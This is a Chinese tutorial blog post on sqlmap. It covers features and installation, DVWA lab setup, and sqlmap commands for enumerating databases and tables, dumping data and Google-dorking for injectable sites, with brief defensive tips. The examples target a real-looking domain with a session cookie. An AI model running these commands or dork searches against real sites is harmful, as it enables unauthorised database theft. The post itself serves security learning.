sqlmap的学习之路-自动化测试SQL注入工具

sqlmap 自动化测试sql 注入问题  会返回版本信息等等。

Sqlmap是开源的自动化SQL注入工具,由Python写成,因此运行需要安装python环境.

如需了解更多sqlmap资料可以访问官方http://sqlmap.org/https://github.com/sqlmapproject/sqlmaphttps://www.python.org 。

注意:sqlmap只是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。

特点:

  • 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
  • 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
  • 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
  • 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
  • 支持自动识别密码哈希格式并通过字典破解密码哈希。
  • 支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
  • 支持在数据库管理系统中搜索指定的数据库名、表名或列名
  • 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
  • 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。

安装Sqlmap

1.下载python 并且安装;

2.下载sqlmap并且安装;注意将sqlmap 放入环境变量中;

sqlmap 运行 需要python 2.6或2.7版本  ,版本太高不支持。郁闷┭┮﹏┭┮

简单做个记录:

       sqlmap.py 直接运行

看见这样的界面说明安装成功! 由于安装python版本过高,不能自己运行,截图为官网早期数据。

准备测试源码 : DVWA   http://www.dvwa.co.uk/        github 下载源码

解压到 WWW根目录下面

配置vhost环境

修改dvwa config文件下 的 config.inc.php.dist   ==> config.inc.php

修改 IP地址  数据库  用户  密码  端口号

安装dvwa,

csrf     xss   sql注入

如果使用sqlmap;

 sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111"  (url路径)

sqlmap.py -r  "test.text"   (文件名)

 sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111"    --dbs   获取数据库名称

 sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111"    --tables   获取表名称

 sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111"    --dump   转存数据

 sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111"    --dump  --all  转存数据

 sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111"   data="数据拼接字符串" --dbs   


 sqlmap.py -u "http://www.lingbook.com?test=lingbook" --cookie="PHPSESSID=11111111111111111"   data="数据拼接字符串" --dbs   --batch  --smart  自动选yes

sqlmap.py -g "inurl:www.lingbook.com"  谷歌搜索  FQ

sqlmap.py --g "关键词" --batch --smart  查找注入点

web防火墙:硬件防火墙、 软件防火墙

判断是否有恶意请求

ngx_lua.

白帽子代码审计:参数过滤 、sql裸写

 get post  header三方面注入

select * from user where id=1'    select * from user where id=1"  引发异常语句

特殊字符引发的 异常   ,可能导致sql注入

预编译   过滤

猜你喜欢

转载自www.cnblogs.com/hanling/p/9148144.html
今日推荐